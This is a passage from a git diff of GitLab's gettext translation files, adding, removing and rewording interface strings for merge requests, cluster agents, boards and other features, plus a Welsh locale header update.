+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41521,21 +42190,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41548,6 +42232,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41587,9 +42280,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41620,9 +42310,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41638,39 +42325,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41835,6 +42513,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42021,9 +42711,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -42048,6 +42735,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/cy_GB/gitlab.po b/locale/cy_GB/gitlab.po
index 584689472f0..1fa0260469e 100644
--- a/locale/cy_GB/gitlab.po
+++ b/locale/cy_GB/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: cy\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr " %{start} i %{end}"
@@ -70,9 +70,6 @@ msgstr "Nid oedd \"%{path}\" yn bodoli ar \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -367,6 +364,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -457,6 +463,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -574,6 +589,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -667,6 +691,12 @@ msgstr[5] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -763,6 +793,15 @@ msgstr[5] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -997,7 +1036,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -1051,6 +1090,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -1087,9 +1129,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -1114,6 +1153,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -1150,6 +1192,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1204,9 +1249,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1333,6 +1375,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1468,6 +1513,15 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "(this user)"
msgstr ""
@@ -1477,6 +1531,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1519,6 +1576,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1924,9 +1984,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1963,9 +2020,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -2014,9 +2068,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -2152,9 +2203,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2401,12 +2449,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2449,6 +2503,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2491,9 +2551,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2563,6 +2620,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2608,9 +2668,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2653,7 +2710,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2662,7 +2719,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2758,6 +2815,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2824,7 +2884,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3361,19 +3421,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3964,9 +4033,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3994,6 +4060,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -4153,6 +4222,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4339,6 +4411,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4378,6 +4453,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4420,9 +4498,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4435,9 +4510,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4498,6 +4570,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4510,6 +4585,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4942,6 +5020,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -5149,6 +5230,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -5254,6 +5338,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5902,6 +5989,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5983,6 +6073,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5992,12 +6085,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -6010,6 +6112,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -6109,6 +6214,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -6121,6 +6229,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6412,10 +6523,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6424,6 +6538,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6673,6 +6790,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6967,10 +7087,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -7021,9 +7141,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -7036,6 +7153,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -7099,10 +7219,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -7168,6 +7288,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -7186,9 +7309,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7387,9 +7507,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7687,6 +7804,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7729,6 +7849,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7771,12 +7894,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7798,16 +7915,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7819,9 +7951,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7831,6 +7984,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7840,28 +7996,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7873,6 +8032,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7885,60 +8047,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -8080,15 +8260,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -8215,9 +8398,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -8263,12 +8443,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
